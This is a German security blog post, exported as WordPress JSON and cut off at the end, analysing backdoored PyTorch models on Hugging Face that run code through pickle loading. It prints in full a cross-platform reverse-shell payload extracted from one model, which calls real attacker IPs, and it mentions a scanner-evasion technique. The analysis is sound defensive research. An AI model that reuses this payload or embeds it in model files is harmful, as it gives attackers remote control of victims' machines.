{"id":174817,"date":"2024-02-24T18:10:10","date_gmt":"2024-02-24T16:10:10","guid":{"rendered":"https:\/\/jfrog.com\/blog\/data-scientists-im-visier-boesartiger-ml-modelle-von-hugging-face-mit-silent-backdoor\/"},"modified":"2026-09-24T09:26:15","modified_gmt":"2026-09-24T07:26:15","slug":"data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor","status":"publish","type":"post","link":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/","title":{"rendered":"Data Scientists im Visier b\u00f6sartiger ML-Modelle von Hugging Face mit Silent Backdoor"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-126326\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/Malicious-Hugging-Face-ML-Models-863x300-1.png\" alt=\"Malicious Hugging Face ML Models 863x300\" width=\"863\" height=\"300\" \/><\/p>\n<p>Im Bereich der KI-Zusammenarbeit ist Hugging Face f\u00fchrend. Aber k\u00f6nnte es auch Ziel modellbasierter Angriffe sein? Aktuelle Erkenntnisse von JFrog deuten auf eine besorgniserregende M\u00f6glichkeit hin, was einen genaueren Blick auf die Sicherheit der Plattform erfordert und eine neue \u00c4ra der Vorsicht in der KI-Forschung einl\u00e4utet.<\/p>\n<p>Die Diskussion \u00fcber die Sicherheit von KI-Machine-Learning-Modellen (ML) ist noch nicht weit genug verbreitet, und dieser Blogbeitrag soll zum Gespr\u00e4ch rund um dieses Thema beitragen. Das JFrog Security Research Team analysiert M\u00f6glichkeiten, wie Machine-Learning-Modelle genutzt werden k\u00f6nnen, um die Umgebungen von Hugging-Face-Nutzern durch Codeausf\u00fchrung zu kompromittieren.<\/p>\n<p>Dieser Beitrag befasst sich mit der Untersuchung eines b\u00f6sartigen Machine-Learning-Modells, das wir entdeckt haben. Wie bei anderen Open-Source-Repositories \u00fcberwachen und scannen wir regelm\u00e4\u00dfig von Nutzern hochgeladene KI-Modelle und haben ein Modell entdeckt, dessen Laden nach dem Einlesen einer Pickle-Datei zur Ausf\u00fchrung von Code f\u00fchrt.<strong>Die Payload des Modells verschafft dem Angreifer eine Shell auf dem kompromittierten Rechner, wodurch er \u00fcber eine sogenannte \u201eBackdoor\u201c die vollst\u00e4ndige Kontrolle \u00fcber den Rechner des Opfers erlangen kann<\/strong>. Diese unbemerkte Infiltration k\u00f6nnte potenziell Zugriff auf kritische interne Systeme gew\u00e4hren und den Weg f\u00fcr gro\u00df angelegte Datenlecks oder sogar Unternehmensspionage ebnen, was nicht nur einzelne Nutzer, sondern potenziell ganze Organisationen weltweit betreffen w\u00fcrde \u2013 und das, w\u00e4hrend <strong>die Opfer sich \u00fcber die Kompromittierung \u00fcberhaupt nicht bewusst sind<\/strong>. Der Angriffsmechanismus wird detailliert erl\u00e4utert, wobei sowohl seine Feinheiten als auch potenzielle Auswirkungen beleuchtet werden. W\u00e4hrend wir die Feinheiten dieses ruchlosen Plans aufdecken, sollten wir im Blick behalten, was wir aus dem Angriff, den Absichten des Angreifers und dessen Identit\u00e4t erfahren k\u00f6nnen.<\/p>\n<p>Wie jede Technologie k\u00f6nnen auch KI-Modelle Sicherheitsrisiken darstellen, wenn sie nicht ordnungsgem\u00e4\u00df gehandhabt werden. Eine der potenziellen Bedrohungen ist die <a href=\"https:\/\/hiddenlayer.com\/research\/models-are-code\/\" target=\"_blank\" rel=\"noopener\">Codeausf\u00fchrung<\/a>, bei der ein b\u00f6sartiger Akteur beliebigen Code auf dem Rechner ausf\u00fchren kann, der das Modell l\u00e4dt oder ausf\u00fchrt. Das kann zu Datenschutzverletzungen, einer Kompromittierung des Systems oder anderen b\u00f6sartigen Aktionen f\u00fchren.<\/p>\n<h2>Wie kann das Laden eines ML-Modells zur Ausf\u00fchrung von Code f\u00fchren?<\/h2>\n<p>Wie das Laden eines ML-Modells zur Codeausf\u00fchrung f\u00fchren kannML-Modelltypen und ihre M\u00f6glichkeiten zur Codeausf\u00fchrung<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-126294\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/1_How-can-loading-an-ML-model-lead-to-code-execution.gif\" alt=\"How can loading an ML model lead to code execution\" width=\"600\" height=\"563\" \/><\/p>\n<p>Beim Laden bestimmter Arten von ML-Modellen (siehe Tabelle unten) von einer nicht vertrauensw\u00fcrdigen Quelle kann Code ausgef\u00fchrt werden. Beispielsweise verwenden einige Modelle das Format \u201epickle\u201c, ein g\u00e4ngiges Format zur Serialisierung von Python-Objekten. Pickle-Dateien k\u00f6nnen jedoch auch beliebigen Code enthalten, der beim Laden der Datei ausgef\u00fchrt wird.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-126430\" style=\"cursor: pointer;\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/2_ML-Model-Types-and-Their-Code-Execution-Capabilities_v2.jpg\" alt=\"ML Model Types and Their Code Execution Capabilities\" width=\"1157\" height=\"810\" data-lity=\"\" \/><\/p>\n<p style=\"text-align: center;\"><em><strong>ML-Modelltypen und ihre F\u00e4higkeiten zur Codeausf\u00fchrung [<a href=\"https:\/\/hiddenlayer.com\/research\/weaponizing-machine-learning-models-with-ransomware\/#Overview-of-ML-Model-Serialization-Formats\">basierend auf<\/a>] (Zum Aufklappen klicken)<\/strong><\/em><\/p>\n<h2>Hugging Face-Sicherheit<\/h2>\n<p><a href=\"https:\/\/huggingface.co\/\" target=\"_blank\" rel=\"noopener\">Hugging Face<\/a> ist eine Plattform, auf der die Machine-Learning-Community an Modellen, Datens\u00e4tzen und Anwendungen zusammenarbeitet. Sie bietet Open-Source-, kostenpflichtige und Enterprise-L\u00f6sungen f\u00fcr Text-, Bild-, Video-, Audio- und 3D-KI.<\/p>\n<p>Um diese Angriffe zu verhindern, hat Hugging Face mehrere Sicherheitsma\u00dfnahmen implementiert, darunter <a href=\"https:\/\/huggingface.co\/docs\/hub\/en\/security-malware\" target=\"_blank\" rel=\"noopener\">Malware-Scanning<\/a>, <a href=\"https:\/\/huggingface.co\/docs\/hub\/en\/security-pickle#pickle-scanning\" target=\"_blank\" rel=\"noopener\">Pickle-Scanning<\/a> und <a href=\"https:\/\/huggingface.co\/docs\/hub\/en\/security-secrets#secrets-scanning\" target=\"_blank\" rel=\"noopener\">Secrets-Scanning<\/a>. Diese Funktionen scannen jede Datei in den Repositories auf Schadcode, unsichere Deserialisierung oder sensible Informationen und warnen die Nutzer bzw. Moderatoren entsprechend. Hugging Face entwickelte ein neues Format f\u00fcr die sichere Speicherung von Modelldaten, <a href=\"https:\/\/github.com\/HuggingFace\/safetensors\" target=\"_blank\" rel=\"noopener\">safetensors<\/a>genannt.<\/p>\n<p>Hugging Face verf\u00fcgt zwar \u00fcber gute Sicherheitsma\u00dfnahmen, doch ein k\u00fcrzlich ver\u00f6ffentlichtes Modell erinnert eindringlich daran, dass die Plattform nicht immun gegen reale Bedrohungen ist. Dieser Vorfall verdeutlicht die potenziellen Risiken, die in KI-gest\u00fctzten Systemen lauern, und unterstreicht die Notwendigkeit st\u00e4ndiger Wachsamkeit und proaktiver Sicherheitspraktiken. Bevor wir eintauchen, werfen wir einen genaueren Blick auf die aktuelle Forschungslandschaft bei JFrog.<\/p>\n<h2>Um echte Bedrohungen zu erkennen, sind eingehendere Analysen erforderlich<\/h2>\n<p style=\"text-align: center;\">HuggingFace-Warnung f\u00fcr erkannte unsichere Modelle durch Pickle-Scanning<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-126296\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/3_HuggingFace-Warning-for-Detected-Unsafe-Models-via-Pickle-Scanning.png\" alt=\"HuggingFace Warning for Detected Unsafe Models via Pickle Scanning\" width=\"917\" height=\"262\" \/><em><strong>HuggingFace-Warnung f\u00fcr erkannte unsichere Modelle durch Pickle-Scanning<\/strong><\/em><\/p>\n<p>Verteilung von Payload-Typen<br \/>\nHugging Face f\u00fchrt zwar Pr\u00fcfungen von Pickle-Modellen durch, blockiert oder beschr\u00e4nkt deren Download jedoch nicht direkt, sondern kennzeichnet sie als \u201eunsicher\u201c (Abbildung oben). Das bedeutet, dass Nutzer weiterhin die M\u00f6glichkeit haben, potenziell sch\u00e4dliche Modelle auf eigenes Risiko herunterzuladen und auszuf\u00fchren. Dar\u00fcber hinaus ist es wichtig zu beachten, dass nicht nur auf Pickle basierende Modelle anf\u00e4llig f\u00fcr die Ausf\u00fchrung von Schadcode sind. Beispielsweise k\u00f6nnen auch TensorFlow-Keras-Modelle, der auf Hugging Face am zweith\u00e4ufigsten vertretene Modelltyp, \u00fcber ihren <a href=\"https:\/\/hiddenlayer.com\/research\/models-are-code\/\" target=\"_blank\" rel=\"noopener\">Lambda Layer<\/a> Code ausf\u00fchren. Im Gegensatz zu auf Pickle basierenden Modellen erlaubt die von Hugging Face f\u00fcr KI-Aufgaben entwickelte Transformers-Bibliothek jedoch ausschlie\u00dflich Tensorflow-Gewichte und keine vollst\u00e4ndigen Modelle, die sowohl Gewichte als auch Architekturebenen umfassen, wie <a href=\"https:\/\/github.com\/Azure\/counterfit\/wiki\/Abusing-ML-model-file-formats-to-create-malware-on-AI-systems:-A-proof-of-concept\" target=\"_blank\" rel=\"noopener\">hier<\/a> erl\u00e4utert. Dies mindert den Angriff bei Verwendung der Transformers-API wirksam, obwohl das Laden des Modells \u00fcber die regul\u00e4re Bibliotheks-API weiterhin zur Codeausf\u00fchrung f\u00fchrt.<\/p>\n<p>Um diese Bedrohungen zu bek\u00e4mpfen, hat das JFrog Security Research Team <strong>eine Scan-Umgebung entwickelt, die jedes neu auf Hugging Face hochgeladene Modell mehrmals t\u00e4glich gr\u00fcndlich untersucht<\/strong>. Ihr Hauptziel ist, neu auftretende Bedrohungen auf Hugging Face unverz\u00fcglich zu erkennen und zu neutralisieren. Bei den verschiedenen Sicherheitspr\u00fcfungen, denen Hugging-Face-Repositories unterzogen werden, liegt der Schwerpunkt auf der eingehenden Pr\u00fcfung von Modelldateien. Nach unserer Analyse bergen PyTorch-Modelle (mit deutlichem Abstand) und Tensorflow-Keras-Modelle (in den Formaten H5 oder SavedModel) das h\u00f6chste potenzielle Risiko der Ausf\u00fchrung von b\u00f6sartigem Code, da es sich um verbreitete Modelltypen mit bekannten, ver\u00f6ffentlichten Techniken zur Codeausf\u00fchrung handelt.<\/p>\n<p>Zus\u00e4tzlich haben wir eine umfassende Grafik erstellt, die die Verteilung potenziell b\u00f6sartiger Modelle veranschaulicht, die in den Hugging-Face-Repositories entdeckt wurden. Bemerkenswert ist, dass PyTorch-Modelle die h\u00f6chste Verbreitung aufweisen, dicht gefolgt von TensorFlow-Keras-Modellen. Es ist entscheidend zu betonen, dass wir mit \u201eb\u00f6sartigen Modellen\u201c ausdr\u00fccklich solche meinen, die tats\u00e4chlich sch\u00e4dliche Payloads enthalten. Unsere Analyse hat bislang rund 100 solcher Modelle identifiziert. Es ist wichtig zu beachten, dass diese Z\u00e4hlung Fehlalarme ausschlie\u00dft, wodurch eine authentische Darstellung der Verteilung der Bem\u00fchungen zur Erstellung b\u00f6sartiger Modelle f\u00fcr PyTorch und TensorFlow auf Hugging Face gew\u00e4hrleistet wird.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-126297\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/4_Payload-Types-distribution.png\" alt=\"Payload Types distribution\" width=\"850\" height=\"434\" \/><\/p>\n<p style=\"text-align: center;\"><em>Verteilung b\u00f6sartiger Modelle in Hugging Face nach Modelltyp<strong><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-126298\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/5_Distribution-of-Malicious-Models-in-Hugging-Face-by-Model-Type.png\" alt=\"Distribution of Malicious Models in Hugging Face by Model Type\" width=\"777\" height=\"481\" \/><\/strong><strong>Verteilung b\u00f6sartiger Modelle in Hugging Face nach Modelltyp<\/strong><\/em><\/p>\n<h2>baller423 sch\u00e4dliche Payload: Reverse Shell zu einem b\u00f6sartigen Host<\/h2>\n<p>K\u00fcrzlich hat unsere Scanumgebung ein besonders interessantes PyTorch-Modell erkannt, das von einem neuen Benutzer namens <code>baller423<\/code>hochgeladen, inzwischen jedoch gel\u00f6scht wurde. Das Repository <code>baller423\/goober2<\/code> enthielt eine PyTorch-Modelldatei, die eine interessante Payload enthielt.<\/p>\n<p>Beim Laden von PyTorch-Modellen mit Transformatoren besteht ein g\u00e4ngiger Ansatz darin, die Torch.load()-Funktion zu verwenden, die das Modell aus einer Datei deserialisiert. Insbesondere bei PyTorch-Modellen, die mit der Transformers-Bibliothek von Hugging Face trainiert wurden, wird diese Methode h\u00e4ufig eingesetzt, um das Modell zusammen mit seiner Architektur, seinen Gewichten und allen zugeh\u00f6rigen Konfigurationen zu laden. Transformers bieten ein umfassendes Framework f\u00fcr Aufgaben im Zusammenhang mit der Verarbeitung nat\u00fcrlicher Sprache und erleichtern die Erstellung und Bereitstellung anspruchsvoller Modelle. Im Kontext des Repositorys \u201eballer423\/goober2\u201c scheint die b\u00f6sartige Payload mithilfe der Methode __reduce__ des Pickle-Moduls in die PyTorch-Modelldatei eingeschleust worden zu sein. Diese Methode erm\u00f6glicht es Angreifern, wie <a href=\"https:\/\/hiddenlayer.com\/research\/weaponizing-machine-learning-models-with-ransomware\/#Pickle-Code-Injection-POC\">in der bereitgestellten Referenz<\/a> gezeigt, beliebigen Python-Code in den Deserialisierungsprozess einzuschleusen, was beim Laden des Modells potenziell zu b\u00f6sartigem Verhalten f\u00fchrt.<\/p>\n<p>Bei der Analyse der PyTorch-Datei mit dem Tool <a href=\"https:\/\/github.com\/trailofbits\/fickling\">fickling<\/a> haben wir erfolgreich die folgende Payload extrahiert:<\/p>\n<pre class=\"language-python\"><code>RHOST = \"210.117.212.93\"\r\nRPORT = 4242\r\n\r\nfrom sys import platform\r\n\r\nif platform != 'win32':\r\n    import threading\r\n    import socket\r\n    import pty\r\n    import os\r\n\r\n    def connect_and_spawn_shell():\r\n        s = socket.socket()\r\n        s.connect((RHOST, RPORT))\r\n        [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\r\n        pty.spawn(\"\/bin\/sh\")\r\n\r\n    threading.Thread(target=connect_and_spawn_shell).start()\r\nelse:\r\n    import os\r\n    import socket\r\n    import subprocess\r\n    import threading\r\n    import sys\r\n\r\n    def send_to_process(s, p):\r\n        while True:\r\n            p.stdin.write(s.recv(1024).decode())\r\n            p.stdin.flush()\r\n\r\n    def receive_from_process(s, p):\r\n        while True:\r\n            s.send(p.stdout.read(1).encode())\r\n\r\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n    while True:\r\n        try:\r\n            s.connect((RHOST, RPORT))\r\n            break\r\n        except:\r\n            pass\r\n\r\n    p = subprocess.Popen([\"powershell.exe\"], \r\n                         stdout=subprocess.PIPE,\r\n                         stderr=subprocess.STDOUT,\r\n                         stdin=subprocess.PIPE,\r\n                         shell=True,\r\n                         text=True)\r\n\r\n    threading.Thread(target=send_to_process, args=[s, p], daemon=True).start()\r\n    threading.Thread(target=receive_from_process, args=[s, p], daemon=True).start()\r\n    p.wait()<\/code><\/pre>\n<p>In der Regel zielen die in von Forschern hochgeladenen Modellen eingebetteten Payloads darauf ab, Schwachstellen aufzuzeigen oder Proofs of Concept zu pr\u00e4sentieren, ohne Schaden anzurichten (siehe Beispiel unten). Diese Payloads k\u00f6nnen harmlose Aktionen umfassen, beispielsweise das Zur\u00fcckpingen an einen bestimmten Server oder das \u00d6ffnen eines Browsers zur Anzeige bestimmter Inhalte. Im Fall des Modells aus dem Repository \u201e<code>baller423\/goober2<\/code>\u201c unterscheidet sich die Payload jedoch erheblich. Statt harmloser Aktionen initiiert sie eine Reverse-Shell-Verbindung zu einer tats\u00e4chlichen IP-Adresse, <strong>210.117.212.93<\/strong>. Dieses Verhalten ist deutlich invasiver und potenziell b\u00f6swillig, da es eine direkte Verbindung zu einem externen Server herstellt. Dies deutet eher auf eine potenzielle Sicherheitsbedrohung als auf eine blo\u00dfe Demonstration einer Schwachstelle hin. Solche Aktionen verdeutlichen, wie wichtig eine gr\u00fcndliche Pr\u00fcfung und Sicherheitsma\u00dfnahmen beim Umgang mit Machine-Learning-Modellen aus nicht vertrauensw\u00fcrdigen Quellen sind.<\/p>\n<p style=\"text-align: center;\">Beispiel f\u00fcr ein Proof-of-Concept-Modell, das eine Codeausf\u00fchrung verursacht<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-126308\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/6_Example-of-Proof-of-concepts-model-causing-code-execution.png\" alt=\"Example of Proof-of-concepts model causing code execution\" width=\"575\" height=\"215\" \/><em><strong>Beispiel eines Proof-of-Concept-Modells, das Codeausf\u00fchrung verursacht [<a href=\"https:\/\/huggingface.co\/RiddleLi\/a-very-safe-m0del\">RiddleLi\/a-very-safe-m0del<\/a>]<\/strong><\/em><\/p>\n<p>IP-WHOIS-Abfrageergebnisse<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-126309\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/7_IP-WHOIS-Lookup-Results.png\" alt=\"IP WHOIS Lookup Results\" width=\"610\" height=\"719\" \/><\/p>\n<p>Dieser IP-Adressbereich von KREOnet, das f\u00fcr \u201eKorea Research Environment Open NETwork\u201c steht, k\u00f6nnte ein m\u00f6glicher Hinweis darauf sein, dass Forschende an dem Exploit-Versuch beteiligt waren. KREONET fungiert als Hochgeschwindigkeits-Forschungsnetzwerk in S\u00fcdkorea und unterst\u00fctzt fortschrittliche Forschungs- und Bildungsvorhaben. Es bietet Hochgeschwindigkeits-Internetverbindungen, fortschrittliche Netzwerkdienste und Infrastruktur, um die Zusammenarbeit zwischen akademischen Einrichtungen, Forschungsorganisationen und Partnern aus der Industrie zu f\u00f6rdern.<\/p>\n<p>Kurz nachdem das Modell entfernt worden war, stie\u00dfen wir auf weitere Instanzen derselben Payload mit unterschiedlichen IP-Adressen. Eine solche Instanz bleibt aktiv: <code>star23\/baller13<\/code>. Es ist bemerkenswert, dass der Modellname dem des gel\u00f6schten Benutzers \u00e4hnelt, was auf m\u00f6gliche Verbindungen zwischen ihnen hindeutet.<\/p>\n<pre class=\"language-python\"><code>RHOST = \"136.243.156.120\"\r\nRPORT = 53252\r\n\r\nfrom sys import platform\r\n\r\nif platform != 'win32':\r\n    import threading\r\n    import socket\r\n    import pty\r\n    import os\r\n...<\/code><\/pre>\n<p>star 23 baller13<br \/>\nDer einzige Unterschied zwischen diesen beiden Modellen besteht in der IP\/PORT-Konfiguration. In diesem Fall verweist die Nutzlast auf einen Rechenzentrums-Host. Ein weiteres auff\u00e4lliges Indiz ist die Nachricht auf der Modellkarte auf Hugging Face, in der ausdr\u00fccklich darauf hingewiesen wird, dass das Modell nicht heruntergeladen werden sollte.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-126310\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/8_star-23-baller13.png\" alt=\"star 23 baller13\" width=\"904\" height=\"388\" \/><\/p>\n<p>Diese Hinweise legen nahe, dass die Autoren dieser Modelle m\u00f6glicherweise Forschende oder KI-Fachleute sind. Ein grundlegendes Prinzip der Sicherheitsforschung besteht jedoch darin, keine tats\u00e4chlich funktionierenden Exploits oder Schadcode zu ver\u00f6ffentlichen. Dieses Prinzip wurde verletzt, als der Schadcode versuchte, eine R\u00fcckverbindung zu einer echten IP-Adresse herzustellen.<\/p>\n<p>Beachten Sie, dass Nutzer bei einem anderen Modell von star23 berichteten, dass das Modell eine gef\u00e4hrlich b\u00f6sartige Payload enthielt, was darauf hindeutet, dass sie Opfer dieses Modells wurden. Nach mehreren Meldungen sperrte die Hugging Face-Plattform das Modell.<\/p>\n<p style=\"text-align: center;\">Community meldet Probleme auf der Modellseite von star23 baller<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-126311\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/9_Community-Reports-issues-in-star23-baller-model-page.png\" alt=\"Community Reports issues in star23 baller model page\" width=\"536\" height=\"412\" \/><em><strong>Community-Meldungen zu Problemen auf der Modellseite von star23\/baller8<\/strong><\/em><\/p>\n<p>Um tiefer in die Materie einzutauchen und m\u00f6glicherweise weitere Einblicke in die Absichten der Akteure zu gewinnen, haben wir einen <strong>HoneyPot<\/strong> auf einem externen Server eingerichtet, der vollst\u00e4ndig von allen sensiblen Netzwerken isoliert ist.<\/p>\n<p>Ein <strong>HoneyPot<\/strong>-Host ist ein System oder Netzwerkger\u00e4t, das absichtlich so eingerichtet wurde, dass es f\u00fcr potenzielle Angreifer wie ein wertvolles Ziel erscheint. Es soll b\u00f6swillige Akteure dazu verleiten, damit zu interagieren, sodass Verteidiger deren Aktivit\u00e4ten \u00fcberwachen und analysieren k\u00f6nnen. Der Zweck eines HoneyPot besteht darin, Einblicke in die Taktiken, Techniken und Ziele von Angreifern zu gewinnen sowie Informationen \u00fcber potenzielle Bedrohungen zu sammeln.<\/p>\n<p>Durch die Nachahmung legitimer Systeme oder Services kann ein HoneyPot verschiedene Arten von Angriffen anziehen, etwa Versuche, Schwachstellen auszunutzen, unbefugte Zugriffsversuche oder Aufkl\u00e4rungsaktivit\u00e4ten. Er kann auch so konfiguriert werden, dass er bestimmte Arten von Daten oder Ressourcen simuliert, an denen Angreifer interessiert sein k\u00f6nnten, etwa gef\u00e4lschte Zugangsdaten, sensible Dokumente oder Netzwerkservices.<\/p>\n<p>Durch die sorgf\u00e4ltige \u00dcberwachung der Logs und des Netzwerkverkehrs des HoneyPot k\u00f6nnen Sicherheitsexperten die von Angreifern verwendeten Methoden beobachten, neu aufkommende Bedrohungen identifizieren und die Abwehrma\u00dfnahmen verbessern, um die tats\u00e4chlichen Produktionssysteme besser zu sch\u00fctzen. Dar\u00fcber hinaus k\u00f6nnen die aus einem HoneyPot gewonnenen Informationen f\u00fcr die Bedrohungsanalyse wertvoll sein und Organisationen dabei helfen, Cyberbedrohungen immer einen Schritt voraus zu sein.<br \/>\nIn unserer HoneyPot-Umgebung platzierten wir K\u00f6der-Secrets und Anwendungen, die typischerweise von einem Data Scientist verwendet werden. Wie in der folgenden Abbildung dargestellt, \u00fcberwachten wir sorgf\u00e4ltig alle von potenziellen Angreifern ausgef\u00fchrten Befehle:<\/p>\n<p style=\"text-align: center;\">JFrog-Honeypot und Fake-Secrets<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-126312\" style=\"cursor: pointer;\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/10_JFrog-Honeypot-and-Fake-Secrets.png\" alt=\"JFrog Honeypot and Fake Secrets\" width=\"791\" height=\"424\" data-lity=\"\" \/><strong><em>JFrog-Honeypot und Fake-Secrets (zum Aufklappen klicken)<\/em><\/strong><\/p>\n<p style=\"text-align: center;\">HoneyPot-Einrichtung und -\u00dcberwachung<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-126313\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/11_HoneyPot-Setup-and-Monitoring.gif\" alt=\"HoneyPot Setup and Monitoring\" width=\"600\" height=\"339\" data-lity=\"\" \/><em><strong>HoneyPot-Einrichtung und -\u00dcberwachung<\/strong><\/em><\/p>\n<p>Es ist uns gelungen, eine Verbindung zum Server des Angreifers herzustellen. Leider wurden jedoch keine Befehle empfangen, bevor die Verbindung nach einem Tag abrupt beendet wurde.<\/p>\n<h2>Hugging Face ist auch eine Spielwiese f\u00fcr Forschende, die aufkommende Bedrohungen bek\u00e4mpfen m\u00f6chten<\/h2>\n<p>Hugging Face ist zu einer Spielwiese f\u00fcr Forschende geworden, die versuchen, neuen Bedrohungen entgegenzuwirken, was durch verschiedene Taktiken zur Umgehung der Sicherheitsma\u00dfnahmen veranschaulicht wird.<\/p>\n<p>Zun\u00e4chst einmal k\u00f6nnen wir feststellen, dass es sich bei den meisten \u201eb\u00f6sartigen\u201c Payloads in Wirklichkeit um Versuche von Forschenden und\/oder Bug-Bounty-Programmen handelt, die aus scheinbar legitimen Gr\u00fcnden die Ausf\u00fchrung von Code erreichen wollen.<\/p>\n<pre class=\"language-python\"><code>system('open \/System\/Applications\/Calculator.app\/Contents\/MacOS\/Calculator')<\/code><\/pre>\n<p style=\"text-align: center;\"><em><strong>Unsch\u00e4dliche Demonstration der Codeausf\u00fchrung unter macOS [<a href=\"https:\/\/huggingface.co\/paclove\/pytorchTest\">paclove\/pytorchTest<\/a>]<\/strong><\/em><\/p>\n<p>Eine weitere Methode umfasst die Verwendung des Moduls <a href=\"https:\/\/docs.python.org\/3\/library\/runpy.html\" target=\"_blank\" rel=\"noopener\">runpy<\/a> (wie sie in Repositories wie <code>MustEr\/m3e_biased<\/code> \u2013 einem von unserem Forschungsteam auf Hugging Face hochgeladenen Modell \u2013 erkennbar ist), das den aktuellen Scan von Hugging Face auf b\u00f6sartige Modelle umgeht und die Ausf\u00fchrung beliebigen Python-Codes simuliert.<\/p>\n<p style=\"text-align: center;\">MustEr m3e_biased<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-126315\" src=\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/12_MustEr-m3e_biased.gif\" alt=\"MustEr m3e_biased\" width=\"600\" height=\"395\" \/><em><strong>Beispiel f\u00fcr b\u00f6sartige Payload, keine Warnung auf der Modellkarte [<a href=\"https:\/\/huggingface.co\/MustEr\/m3e_biased\">MustEr\/m3e_biased<\/a>].<\/strong><\/em><\/p>\n<h2>Schutz von KI-\u00d6kosystemen angesichts aufkommender Bedrohungen<\/h2>\n<p>Das Aufkommen solcher Taktiken unterstreicht die Anf\u00e4lligkeit f\u00fcr Lieferkettenangriffe, die auf bestimmte Zielgruppen wie KI\/ML-Ingenieure und Pipeline-Rechner zugeschnitten werden k\u00f6nnen. Dar\u00fcber hinaus verdeutlicht eine k\u00fcrzlich entdeckte Schwachstelle in Transformers, <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-6730\" target=\"_blank\" rel=\"noopener\">CVE-2023-6730<\/a>, das Risiko <strong>transitiver Angriffe<\/strong>, die durch den Download scheinbar harmloser Modelle erm\u00f6glicht werden und letztlich zur Ausf\u00fchrung von b\u00f6sartigem Code eines transitiven Modells f\u00fchren. Diese Vorf\u00e4lle dienen als eindringliche Erinnerung an die anhaltenden Bedrohungen f\u00fcr Hugging-Face-Repositories und andere beliebte Repositories wie <a href=\"https:\/\/www.kaggle.com\/\">Kaggle<\/a>, die potenziell den Datenschutz und die Sicherheit von Organisationen beeintr\u00e4chtigen k\u00f6nnten, welche diese Ressourcen nutzen, und zudem Herausforderungen f\u00fcr KI\/ML-Ingenieure darstellen.<\/p>\n<p>Au\u00dferdem spielen Initiativen wie <a href=\"https:\/\/huntr.com\" target=\"_blank\" rel=\"noopener\">Huntr<\/a>, eine speziell auf KI-CVEs zugeschnittene Bug-Bounty-Plattform, eine entscheidende Rolle bei der Verbesserung der Sicherheitslage von KI-Modellen und -Plattformen. Diese gemeinsamen Anstrengungen sind unerl\u00e4sslich, um Hugging-Face-Repositories zu st\u00e4rken und den Datenschutz und die Integrit\u00e4t von KI\/ML-Ingenieuren und Organisationen zu sch\u00fctzen, die auf diese Ressourcen angewiesen sind.<\/p>\n<h2>Sichern Sie Ihre KI-Modell-Lieferkette mit JFrog Artifactory<\/h2>\n<p>Genie\u00dfen Sie Sicherheit bei der Bereitstellung Ihrer KI-Modelle mit der <a href=\"https:\/\/jfrog.com\/de\/software-supply-chain-platform\/\">JFrog Platform<\/a>, der ultimativen L\u00f6sung zum Schutz Ihrer Lieferkette. Integrieren Sie JFrog Artifactory nahtlos in Ihre Umgebung, um Modelle sicher herunterzuladen und dabei <a href=\"https:\/\/jfrog.com\/de\/devops-native-security\/\">JFrog Advanced Security<\/a> zu nutzen. So k\u00f6nnen Sie Versuche, b\u00f6sartige Modelle herunterzuladen, zuverl\u00e4ssig blockieren und die Integrit\u00e4t Ihres KI-\u00d6kosystems sicherstellen.<\/p>\n<p>Unsere Datenbank f\u00fcr b\u00f6sartige Modelle wird kontinuierlich mit den neuesten Erkenntnissen des JFrog Security Research Teams und anderen \u00f6ffentlichen Datenquellen aktualisiert und bietet Echtzeitschutz vor neuen Bedrohungen. Unabh\u00e4ngig davon, ob Sie mit PyTorch, TensorFlow oder anderen auf Pickle basierenden Modellen arbeiten, sch\u00fctzt Artifactory als sicherer Proxy f\u00fcr Modelle Ihre Lieferkette vor potenziellen Risiken und erm\u00f6glicht Ihnen, Innovationen mit Zuversicht voranzutreiben. Bleiben Sie Sicherheitsbedrohungen einen Schritt voraus, indem Sie unseren <a href=\"https:\/\/jfrog.com\/de\/blog\/tag\/security-research-de\/\">Blog zur Sicherheitsforschung<\/a> erkunden, und erh\u00f6hen Sie die Sicherheit Ihrer Produkte und Anwendungen.<\/p>\n<h2>Bleiben Sie auf dem Laufenden mit JFrog Security Research<\/h2>\n<p>Die Erkenntnisse und Forschungsergebnisse des Sicherheitsteams spielen eine wichtige Rolle bei der Verbesserung der Anwendungssicherheitsfunktionen der JFrog-Software-Lieferkettenplattform.<\/p>\n<p>Verfolgen Sie die neuesten Entdeckungen und technischen Updates des JFrog Security Research Teams auf unserer <a 